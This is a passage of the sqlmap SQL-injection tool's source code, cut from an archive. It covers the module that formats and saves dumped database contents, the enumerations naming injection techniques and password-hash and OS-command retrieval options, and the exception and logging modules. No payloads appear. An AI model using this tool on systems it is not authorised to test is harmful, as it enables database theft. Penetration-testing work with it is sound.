lib.core.replication import Replication from lib.core.settings import DUMP_FILE_BUFFER_SIZE from lib.core.settings import HTML_DUMP_CSS_STYLE from lib.core.settings import IS_WIN from lib.core.settings import METADB_SUFFIX from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE from lib.core.settings import TRIM_STDOUT_DUMP_SIZE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import WINDOWS_RESERVED_NAMES from thirdparty.magic import magic from extra.safe2bin.safe2bin import safechardecode class Dump(object): """ This class defines methods used to parse and output the results of SQL injection actions """ def __init__(self): self._outputFile = None self._outputFP = None self._lock = threading.Lock() def _write(self, data, newline=True, console=True, content_type=None): if hasattr(conf, "api"): dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE) return text = "%s%s" % (data, "\n" if newline else " ") if console: dataToStdout(text) if kb.get("multiThreadMode"): self._lock.acquire() try: self._outputFP.write(text) except IOError, ex: errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) if kb.get("multiThreadMode"): self._lock.release() kb.dataOutputFlag = True def flush(self): if self._outputFP: try: self._outputFP.flush() except IOError: pass def setOutputFile(self): self._outputFile = os.path.join(conf.outputPath, "log") try: self._outputFP = openFile(self._outputFile, "ab" if not conf.flushSession else "wb") except IOError, ex: errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex) raise SqlmapGenericException(errMsg) def getOutputFile(self): return self._outputFile def singleString(self, data, content_type=None): self._write(data, content_type=content_type) def string(self, header, data, content_type=None, sort=True): kb.stickyLevel = None if hasattr(conf, "api"): self._write(data, content_type=content_type) return if isListLike(data): self.lister(header, data, content_type, sort) elif data is not None: _ = getUnicode(data) if _ and _[-1] == '\n': _ = _[:-1] if "\n" in _: self._write("%s:\n---\n%s\n---" % (header, _)) else: self._write("%s: %s" % (header, ("'%s'" % _) if isinstance(data, basestring) else _)) else: self._write("%s:\tNone" % header) def lister(self, header, elements, content_type=None, sort=True): if elements and sort: try: elements = set(elements) elements = list(elements) elements.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) except: pass if hasattr(conf, "api"): self._write(elements, content_type=content_type) return if elements: self._write("%s [%d]:" % (header, len(elements))) for element in elements: if isinstance(element, basestring): self._write("[*] %s" % element) elif isListLike(element): self._write("[*] " + ", ".join(getUnicode(e) for e in element)) if elements: self._write("") def banner(self, data): self.string("banner", data, content_type=CONTENT_TYPE.BANNER) def currentUser(self, data): self.string("current user", data, content_type=CONTENT_TYPE.CURRENT_USER) def currentDb(self, data): if Backend.isDbms(DBMS.MAXDB): self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB): self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB) else: self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB) def hostname(self, data): self.string("hostname", data, content_type=CONTENT_TYPE.HOSTNAME) def dba(self, data): self.string("current user is DBA", data, content_type=CONTENT_TYPE.IS_DBA) def users(self, users): self.lister("database management system users", users, content_type=CONTENT_TYPE.USERS) def userSettings(self, header, userSettings, subHeader, content_type=None): self._areAdmins = set() if isinstance(userSettings, (tuple, list, set)): self._areAdmins = userSettings[1] userSettings = userSettings[0] users = userSettings.keys() users.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) if hasattr(conf, "api"): self._write(userSettings, content_type=content_type) return if userSettings: self._write("%s:" % header) for user in users: settings = userSettings[user] if settings is None: stringSettings = "" else: stringSettings = " [%d]:" % len(settings) if user in self._areAdmins: self._write("[*] %s (administrator)%s" % (user, stringSettings)) else: self._write("[*] %s%s" % (user, stringSettings)) if settings: settings.sort() for setting in settings: self._write(" %s: %s" % (subHeader, setting)) if userSettings: self.singleString("") def dbs(self, dbs): self.lister("available databases", dbs, content_type=CONTENT_TYPE.DBS) def dbTables(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if hasattr(conf, "api"): self._write(dbTables, content_type=CONTENT_TYPE.TABLES) return maxlength = 0 for tables in dbTables.values(): for table in tables: if table and isListLike(table): table = table[0] maxlength = max(maxlength, len(unsafeSQLIdentificatorNaming(normalizeUnicode(table) or unicode(table)))) lines = "-" * (int(maxlength) + 2) for db, tables in dbTables.items(): tables.sort() self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") if len(tables) == 1: self._write("[1 table]") else: self._write("[%d tables]" % len(tables)) self._write("+%s+" % lines) for table in tables: if table and isListLike(table): table = table[0] table = unsafeSQLIdentificatorNaming(table) blank = " " * (maxlength - len(normalizeUnicode(table) or unicode(table))) self._write("| %s%s |" % (table, blank)) self._write("+%s+\n" % lines) elif dbTables is None or len(dbTables) == 0: self.singleString("No tables found", content_type=CONTENT_TYPE.TABLES) else: self.string("tables", dbTables, content_type=CONTENT_TYPE.TABLES) def dbTableColumns(self, tableColumns, content_type=None): if isinstance(tableColumns, dict) and len(tableColumns) > 0: if hasattr(conf, "api"): self._write(tableColumns, content_type=content_type) return for db, tables in tableColumns.items(): if not db: db = "All" for table, columns in tables.items(): maxlength1 = 0 maxlength2 = 0 colType = None colList = columns.keys() colList.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) maxlength1 = max(maxlength1, len(column or "")) maxlength2 = max(maxlength2, len(colType or "")) maxlength1 = max(maxlength1, len("COLUMN")) lines1 = "-" * (maxlength1 + 2) if colType is not None: maxlength2 = max(maxlength2, len("TYPE")) lines2 = "-" * (maxlength2 + 2) self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if len(columns) == 1: self._write("[1 column]") else: self._write("[%d columns]" % len(columns)) if colType is not None: self._write("+%s+%s+" % (lines1, lines2)) else: self._write("+%s+" % lines1) blank1 = " " * (maxlength1 - len("COLUMN")) if colType is not None: blank2 = " " * (maxlength2 - len("TYPE")) if colType is not None: self._write("| Column%s | Type%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) else: self._write("| Column%s |" % blank1) self._write("+%s+" % lines1) for column in colList: colType = columns[column] column = unsafeSQLIdentificatorNaming(column) blank1 = " " * (maxlength1 - len(column)) if colType is not None: blank2 = " " * (maxlength2 - len(colType)) self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2)) else: self._write("| %s%s |" % (column, blank1)) if colType is not None: self._write("+%s+%s+\n" % (lines1, lines2)) else: self._write("+%s+\n" % lines1) def dbTablesCount(self, dbTables): if isinstance(dbTables, dict) and len(dbTables) > 0: if hasattr(conf, "api"): self._write(dbTables, content_type=CONTENT_TYPE.COUNT) return maxlength1 = len("Table") maxlength2 = len("Entries") for ctables in dbTables.values(): for tables in ctables.values(): for table in tables: maxlength1 = max(maxlength1, len(normalizeUnicode(table) or unicode(table))) for db, counts in dbTables.items(): self._write("Database: %s" % unsafeSQLIdentificatorNaming(db) if db else "Current database") lines1 = "-" * (maxlength1 + 2) blank1 = " " * (maxlength1 - len("Table")) lines2 = "-" * (maxlength2 + 2) blank2 = " " * (maxlength2 - len("Entries")) self._write("+%s+%s+" % (lines1, lines2)) self._write("| Table%s | Entries%s |" % (blank1, blank2)) self._write("+%s+%s+" % (lines1, lines2)) sortedCounts = counts.keys() sortedCounts.sort(reverse=True) for count in sortedCounts: tables = counts[count] if count is None: count = "Unknown" tables.sort(key=lambda x: x.lower() if isinstance(x, basestring) else x) for table in tables: blank1 = " " * (maxlength1 - len(normalizeUnicode(table) or unicode(table))) blank2 = " " * (maxlength2 - len(str(count))) self._write("| %s%s | %d%s |" % (table, blank1, count, blank2)) self._write("+%s+%s+\n" % (lines1, lines2)) else: logger.error("unable to retrieve the number of entries for any table") def dbTableValues(self, tableValues): replication = None rtable = None dumpFP = None appendToFile = False warnFile = False if tableValues is None: return db = tableValues["__infos__"]["db"] if not db: db = "All" table = tableValues["__infos__"]["table"] if hasattr(conf, "api"): self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE) return dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db)) if conf.dumpFormat == DUMP_FORMAT.SQLITE: replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db))) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath, 0755) except: warnFile = True _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db))) dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8])) if not os.path.isdir(dumpDbPath): try: os.makedirs(dumpDbPath, 0755) except Exception, ex: try: tempDir = tempfile.mkdtemp(prefix="sqlmapdb") except IOError, _: errMsg = "unable to write to the temporary directory ('%s'). " % _ errMsg += "Please make sure that your disk is not full and " errMsg += "that you have sufficient write permissions to " errMsg += "create temporary files and/or directories" raise SqlmapSystemException(errMsg) warnMsg = "unable to create dump directory " warnMsg += "'%s' (%s). " % (dumpDbPath, getSafeExString(ex)) warnMsg += "Using temporary directory '%s' instead" % tempDir logger.warn(warnMsg) dumpDbPath = tempDir dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())) if not checkFile(dumpFileName, False): try: openFile(dumpFileName, "w+b").close() except SqlmapSystemException: raise except: warnFile = True _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table))) if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES: _ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table))) dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower())) else: dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower())) appendToFile = any((conf.limitStart, conf.limitStop)) and checkFile(dumpFileName, False) dumpFP = openFile(dumpFileName, "wb" if not appendToFile else "ab", buffering=DUMP_FILE_BUFFER_SIZE) count = int(tableValues["__infos__"]["count"]) separator = str() field = 1 fields = len(tableValues) - 1 columns = prioritySortColumns(tableValues.keys()) if conf.col: cols = conf.col.split(',') columns = sorted(columns, key=lambda _: cols.index(_) if _ in cols else 0) for column in columns: if column != "__infos__": info = tableValues[column] lines = "-" * (int(info["length"]) + 2) separator += "+%s" % lines separator += "+" self._write("Database: %s\nTable: %s" % (unsafeSQLIdentificatorNaming(db) if db else "Current database", unsafeSQLIdentificatorNaming(table))) if conf.dumpFormat == DUMP_FORMAT.SQLITE: cols = [] for column in columns: if column != "__infos__": colType = Replication.INTEGER for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue int(value) except ValueError: colType = None break if colType is None: colType = Replication.REAL for value in tableValues[column]['values']: try: if not value or value == " ": # NULL continue float(value) except ValueError: colType = None break cols.append((unsafeSQLIdentificatorNaming(column), colType if colType else Replication.TEXT)) rtable = replication.createTable(table, cols) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n") dataToDumpFile(dumpFP, "\n" % UNICODE_ENCODING) dataToDumpFile(dumpFP, "%s\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table))) dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE) dataToDumpFile(dumpFP, "\n\n\n\n\n\n") if count == 1: self._write("[1 entry]") else: self._write("[%d entries]" % count) self._write(separator) for column in columns: if column != "__infos__": info = tableValues[column] column = unsafeSQLIdentificatorNaming(column) maxlength = int(info["length"]) blank = " " * (maxlength - len(column)) self._write("| %s%s" % (column, blank), newline=False) if not appendToFile: if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(column)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(column), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % cgi.escape(column).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n\n\n\n") self._write("|\n%s" % separator) if conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n" if not appendToFile else "") elif conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.beginTransaction() if count > TRIM_STDOUT_DUMP_SIZE: warnMsg = "console output will be trimmed to " warnMsg += "last %d rows due to " % TRIM_STDOUT_DUMP_SIZE warnMsg += "large table size" logger.warning(warnMsg) for i in xrange(count): console = (i >= count - TRIM_STDOUT_DUMP_SIZE) field = 1 values = [] if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "") for column in columns: if column != "__infos__": info = tableValues[column] if len(info["values"]) <= i: continue if info["values"][i] is None: value = u'' else: value = getUnicode(info["values"][i]) value = DUMP_REPLACEMENTS.get(value, value) values.append(value) maxlength = int(info["length"]) blank = " " * (maxlength - len(value)) self._write("| %s%s" % (value, blank), newline=False, console=console) if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value: try: mimetype = magic.from_buffer(value, mime=True) if any(mimetype.startswith(_) for _ in ("application", "image")): if not os.path.isdir(dumpDbPath): os.makedirs(dumpDbPath, 0755) _ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column))) filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8))) warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath) logger.warn(warnMsg) with open(filepath, "wb") as f: _ = safechardecode(value, True) f.write(_) except magic.MagicException, err: logger.debug(str(err)) if conf.dumpFormat == DUMP_FORMAT.CSV: if field == fields: dataToDumpFile(dumpFP, "%s" % safeCSValue(value)) else: dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel)) elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "" % cgi.escape(value).encode("ascii", "xmlcharrefreplace")) field += 1 if conf.dumpFormat == DUMP_FORMAT.SQLITE: try: rtable.insert(values) except SqlmapValueException: pass elif conf.dumpFormat == DUMP_FORMAT.CSV: dataToDumpFile(dumpFP, "\n") elif conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n") self._write("|", console=console) self._write("%s\n" % separator) if conf.dumpFormat == DUMP_FORMAT.SQLITE: rtable.endTransaction() logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath)) elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML): if conf.dumpFormat == DUMP_FORMAT.HTML: dataToDumpFile(dumpFP, "\n
%s
%s
\n\n") else: dataToDumpFile(dumpFP, "\n") dumpFP.close() msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName) if not warnFile: logger.info(msg) else: logger.warn(msg) def dbColumns(self, dbColumnsDict, colConsider, dbs): if hasattr(conf, "api"): self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS) return for column in dbColumnsDict.keys(): if colConsider == "1": colConsiderStr = "s LIKE '%s' were" % unsafeSQLIdentificatorNaming(column) else: colConsiderStr = " '%s' was" % unsafeSQLIdentificatorNaming(column) msg = "column%s found in the " % colConsiderStr msg += "following databases:" self._write(msg) _ = {} for db, tblData in dbs.items(): for tbl, colData in tblData.items(): for col, dataType in colData.items(): if column.lower() in col.lower(): if db in _: if tbl in _[db]: _[db][tbl][col] = dataType else: _[db][tbl] = {col: dataType} else: _[db] = {} _[db][tbl] = {col: dataType} continue self.dbTableColumns(_) def query(self, query, queryRes): self.string(query, queryRes, content_type=CONTENT_TYPE.SQL_QUERY) def rFile(self, fileData): self.lister("files saved to", fileData, sort=False, content_type=CONTENT_TYPE.FILE_READ) def registerValue(self, registerData): self.string("Registry key value data", registerData, content_type=CONTENT_TYPE.REG_READ, sort=False) # object to manage how to print the retrieved queries output to # standard output and sessions file dumper = Dump() sqlmap-1.0.4/lib/core/enums.py000066400000000000000000000224551270044205500162170ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ class PRIORITY: LOWEST = -100 LOWER = -50 LOW = -10 NORMAL = 0 HIGH = 10 HIGHER = 50 HIGHEST = 100 class SORT_ORDER: FIRST = 0 SECOND = 1 THIRD = 2 FOURTH = 3 FIFTH = 4 LAST = 100 class DBMS: ACCESS = "Microsoft Access" DB2 = "IBM DB2" FIREBIRD = "Firebird" MAXDB = "SAP MaxDB" MSSQL = "Microsoft SQL Server" MYSQL = "MySQL" ORACLE = "Oracle" PGSQL = "PostgreSQL" SQLITE = "SQLite" SYBASE = "Sybase" HSQLDB = "HSQLDB" class DBMS_DIRECTORY_NAME: ACCESS = "access" DB2 = "db2" FIREBIRD = "firebird" MAXDB = "maxdb" MSSQL = "mssqlserver" MYSQL = "mysql" ORACLE = "oracle" PGSQL = "postgresql" SQLITE = "sqlite" SYBASE = "sybase" HSQLDB = "hsqldb" class CUSTOM_LOGGING: PAYLOAD = 9 TRAFFIC_OUT = 8 TRAFFIC_IN = 7 class OS: LINUX = "Linux" WINDOWS = "Windows" class PLACE: GET = "GET" POST = "POST" URI = "URI" COOKIE = "Cookie" USER_AGENT = "User-Agent" REFERER = "Referer" HOST = "Host" CUSTOM_POST = "(custom) POST" CUSTOM_HEADER = "(custom) HEADER" class POST_HINT: SOAP = "SOAP" JSON = "JSON" JSON_LIKE = "JSON-like" MULTIPART = "MULTIPART" XML = "XML (generic)" ARRAY_LIKE = "Array-like" class HTTPMETHOD: GET = "GET" POST = "POST" HEAD = "HEAD" PUT = "PUT" DELETE = "DELETE" TRACE = "TRACE" OPTIONS = "OPTIONS" CONNECT = "CONNECT" PATCH = "PATCH" class NULLCONNECTION: HEAD = "HEAD" RANGE = "Range" SKIP_READ = "skip-read" class REFLECTIVE_COUNTER: MISS = "MISS" HIT = "HIT" class CHARSET_TYPE: BINARY = 1 DIGITS = 2 HEXADECIMAL = 3 ALPHA = 4 ALPHANUM = 5 class HEURISTIC_TEST: CASTED = 1 NEGATIVE = 2 POSITIVE = 3 class HASH: MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' ORACLE = r'(?i)\As:[0-9a-f]{60}\Z' ORACLE_OLD = r'(?i)\A[01-9a-f]{16}\Z' MD5_GENERIC = r'(?i)\A[0-9a-f]{32}\Z' SHA1_GENERIC = r'(?i)\A[0-9a-f]{40}\Z' SHA224_GENERIC = r'(?i)\A[0-9a-f]{28}\Z' SHA384_GENERIC = r'(?i)\A[0-9a-f]{48}\Z' SHA512_GENERIC = r'(?i)\A[0-9a-f]{64}\Z' CRYPT_GENERIC = r'(?i)\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' WORDPRESS = r'(?i)\A\$P\$[./0-9A-Za-z]{31}\Z' # Reference: http://www.zytrax.com/tech/web/mobile_ids.html class MOBILES: BLACKBERRY = ("BlackBerry 9900", "Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.1.0.346 Mobile Safari/534.11+") GALAXY = ("Samsung Galaxy S", "Mozilla/5.0 (Linux; U; Android 2.2; en-US; SGH-T959D Build/FROYO) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1") HP = ("HP iPAQ 6365", "Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320; HP iPAQ h6300)") HTC = ("HTC Sensation", "Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30") IPHONE = ("Apple iPhone 4s", "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B179 Safari/7534.48.3") NEXUS = ("Google Nexus 7", "Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19") NOKIA = ("Nokia N97", "Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344") class PROXY_TYPE: HTTP = "HTTP" HTTPS = "HTTPS" SOCKS4 = "SOCKS4" SOCKS5 = "SOCKS5" class REGISTRY_OPERATION: READ = "read" ADD = "add" DELETE = "delete" class DUMP_FORMAT: CSV = "CSV" HTML = "HTML" SQLITE = "SQLITE" class HTTP_HEADER: ACCEPT = "Accept" ACCEPT_CHARSET = "Accept-Charset" ACCEPT_ENCODING = "Accept-Encoding" ACCEPT_LANGUAGE = "Accept-Language" AUTHORIZATION = "Authorization" CACHE_CONTROL = "Cache-Control" CONNECTION = "Connection" CONTENT_ENCODING = "Content-Encoding" CONTENT_LENGTH = "Content-Length" CONTENT_RANGE = "Content-Range" CONTENT_TYPE = "Content-Type" COOKIE = "Cookie" EXPIRES = "Expires" HOST = "Host" IF_MODIFIED_SINCE = "If-Modified-Since" LAST_MODIFIED = "Last-Modified" LOCATION = "Location" PRAGMA = "Pragma" PROXY_AUTHORIZATION = "Proxy-Authorization" PROXY_CONNECTION = "Proxy-Connection" RANGE = "Range" REFERER = "Referer" SERVER = "Server" SET_COOKIE = "Set-Cookie" TRANSFER_ENCODING = "Transfer-Encoding" URI = "URI" USER_AGENT = "User-Agent" VIA = "Via" X_POWERED_BY = "X-Powered-By" class EXPECTED: BOOL = "bool" INT = "int" class OPTION_TYPE: BOOLEAN = "boolean" INTEGER = "integer" FLOAT = "float" STRING = "string" class HASHDB_KEYS: DBMS = "DBMS" CHECK_WAF_RESULT = "CHECK_WAF_RESULT" CONF_TMP_PATH = "CONF_TMP_PATH" KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS" KB_BRUTE_COLUMNS = "KB_BRUTE_COLUMNS" KB_BRUTE_TABLES = "KB_BRUTE_TABLES" KB_CHARS = "KB_CHARS" KB_DYNAMIC_MARKINGS = "KB_DYNAMIC_MARKINGS" KB_INJECTIONS = "KB_INJECTIONS" KB_ERROR_CHUNK_LENGTH = "KB_ERROR_CHUNK_LENGTH" KB_XP_CMDSHELL_AVAILABLE = "KB_XP_CMDSHELL_AVAILABLE" OS = "OS" class REDIRECTION: YES = "Y" NO = "N" class PAYLOAD: SQLINJECTION = { 1: "boolean-based blind", 2: "error-based", 3: "inline query", 4: "stacked queries", 5: "AND/OR time-based blind", 6: "UNION query", } PARAMETER = { 1: "Unescaped numeric", 2: "Single quoted string", 3: "LIKE single quoted string", 4: "Double quoted string", 5: "LIKE double quoted string", } RISK = { 0: "No risk", 1: "Low risk", 2: "Medium risk", 3: "High risk", } CLAUSE = { 0: "Always", 1: "WHERE", 2: "GROUP BY", 3: "ORDER BY", 4: "LIMIT", 5: "OFFSET", 6: "TOP", 7: "Table name", 8: "Column name", } class METHOD: COMPARISON = "comparison" GREP = "grep" TIME = "time" UNION = "union" class TECHNIQUE: BOOLEAN = 1 ERROR = 2 QUERY = 3 STACKED = 4 TIME = 5 UNION = 6 class WHERE: ORIGINAL = 1 NEGATIVE = 2 REPLACE = 3 class WIZARD: BASIC = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba") INTERMEDIATE = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getUsers", "getDbs", "getTables", "getSchema", "excludeSysDbs") ALL = ("getBanner", "getCurrentUser", "getCurrentDb", "isDba", "getHostname", "getUsers", "getPasswordHashes", "getPrivileges", "getRoles", "dumpAll") class ADJUST_TIME_DELAY: DISABLE = -1 NO = 0 YES = 1 class WEB_API: PHP = "php" ASP = "asp" ASPX = "aspx" JSP = "jsp" class CONTENT_TYPE: TECHNIQUES = 0 DBMS_FINGERPRINT = 1 BANNER = 2 CURRENT_USER = 3 CURRENT_DB = 4 HOSTNAME = 5 IS_DBA = 6 USERS = 7 PASSWORDS = 8 PRIVILEGES = 9 ROLES = 10 DBS = 11 TABLES = 12 COLUMNS = 13 SCHEMA = 14 COUNT = 15 DUMP_TABLE = 16 SEARCH = 17 SQL_QUERY = 18 COMMON_TABLES = 19 COMMON_COLUMNS = 20 FILE_READ = 21 FILE_WRITE = 22 OS_CMD = 23 REG_READ = 24 PART_RUN_CONTENT_TYPES = { "checkDbms": CONTENT_TYPE.TECHNIQUES, "getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT, "getBanner": CONTENT_TYPE.BANNER, "getCurrentUser": CONTENT_TYPE.CURRENT_USER, "getCurrentDb": CONTENT_TYPE.CURRENT_DB, "getHostname": CONTENT_TYPE.HOSTNAME, "isDba": CONTENT_TYPE.IS_DBA, "getUsers": CONTENT_TYPE.USERS, "getPasswordHashes": CONTENT_TYPE.PASSWORDS, "getPrivileges": CONTENT_TYPE.PRIVILEGES, "getRoles": CONTENT_TYPE.ROLES, "getDbs": CONTENT_TYPE.DBS, "getTables": CONTENT_TYPE.TABLES, "getColumns": CONTENT_TYPE.COLUMNS, "getSchema": CONTENT_TYPE.SCHEMA, "getCount": CONTENT_TYPE.COUNT, "dumpTable": CONTENT_TYPE.DUMP_TABLE, "search": CONTENT_TYPE.SEARCH, "sqlQuery": CONTENT_TYPE.SQL_QUERY, "tableExists": CONTENT_TYPE.COMMON_TABLES, "columnExists": CONTENT_TYPE.COMMON_COLUMNS, "readFile": CONTENT_TYPE.FILE_READ, "writeFile": CONTENT_TYPE.FILE_WRITE, "osCmd": CONTENT_TYPE.OS_CMD, "regRead": CONTENT_TYPE.REG_READ } class CONTENT_STATUS: IN_PROGRESS = 0 COMPLETE = 1 class AUTH_TYPE: BASIC = "basic" DIGEST = "digest" NTLM = "ntlm" PKI = "pki" class AUTOCOMPLETE_TYPE: SQL = 0 OS = 1 SQLMAP = 2 sqlmap-1.0.4/lib/core/exception.py000066400000000000000000000030611270044205500170560ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ class SqlmapBaseException(Exception): pass class SqlmapCompressionException(SqlmapBaseException): pass class SqlmapConnectionException(SqlmapBaseException): pass class SqlmapDataException(SqlmapBaseException): pass class SqlmapFilePathException(SqlmapBaseException): pass class SqlmapGenericException(SqlmapBaseException): pass class SqlmapInstallationException(SqlmapBaseException): pass class SqlmapMissingDependence(SqlmapBaseException): pass class SqlmapMissingMandatoryOptionException(SqlmapBaseException): pass class SqlmapMissingPrivileges(SqlmapBaseException): pass class SqlmapNoneDataException(SqlmapBaseException): pass class SqlmapNotVulnerableException(SqlmapBaseException): pass class SqlmapSilentQuitException(SqlmapBaseException): pass class SqlmapUserQuitException(SqlmapBaseException): pass class SqlmapShellQuitException(SqlmapBaseException): pass class SqlmapSyntaxException(SqlmapBaseException): pass class SqlmapSystemException(SqlmapBaseException): pass class SqlmapThreadException(SqlmapBaseException): pass class SqlmapTokenException(SqlmapBaseException): pass class SqlmapUndefinedMethod(SqlmapBaseException): pass class SqlmapUnsupportedDBMSException(SqlmapBaseException): pass class SqlmapUnsupportedFeatureException(SqlmapBaseException): pass class SqlmapValueException(SqlmapBaseException): pass sqlmap-1.0.4/lib/core/log.py000066400000000000000000000025501270044205500156430ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import logging import sys from lib.core.enums import CUSTOM_LOGGING logging.addLevelName(CUSTOM_LOGGING.PAYLOAD, "PAYLOAD") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_OUT, "TRAFFIC OUT") logging.addLevelName(CUSTOM_LOGGING.TRAFFIC_IN, "TRAFFIC IN") LOGGER = logging.getLogger("sqlmapLog") LOGGER_HANDLER = None try: from thirdparty.ansistrm.ansistrm import ColorizingStreamHandler disableColor = False for argument in sys.argv: if "disable-col" in argument: disableColor = True break if disableColor: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) else: LOGGER_HANDLER = ColorizingStreamHandler(sys.stdout) LOGGER_HANDLER.level_map[logging.getLevelName("PAYLOAD")] = (None, "cyan", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC OUT")] = (None, "magenta", False) LOGGER_HANDLER.level_map[logging.getLevelName("TRAFFIC IN")] = ("magenta", None, False) except ImportError: LOGGER_HANDLER = logging.StreamHandler(sys.stdout) FORMATTER = logging.Formatter("\r[%(asctime)s] [%(levelname)s] %(message)s", "%H:%M:%S") LOGGER_HANDLER.setFormatter(FORMATTER) LOGGER.addHandler(LOGGER_HANDLER) LOGGER.setLevel(logging.INFO) sqlmap-1.0.4/lib/core/option.py000066400000000000000000002631761270044205500164070ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright 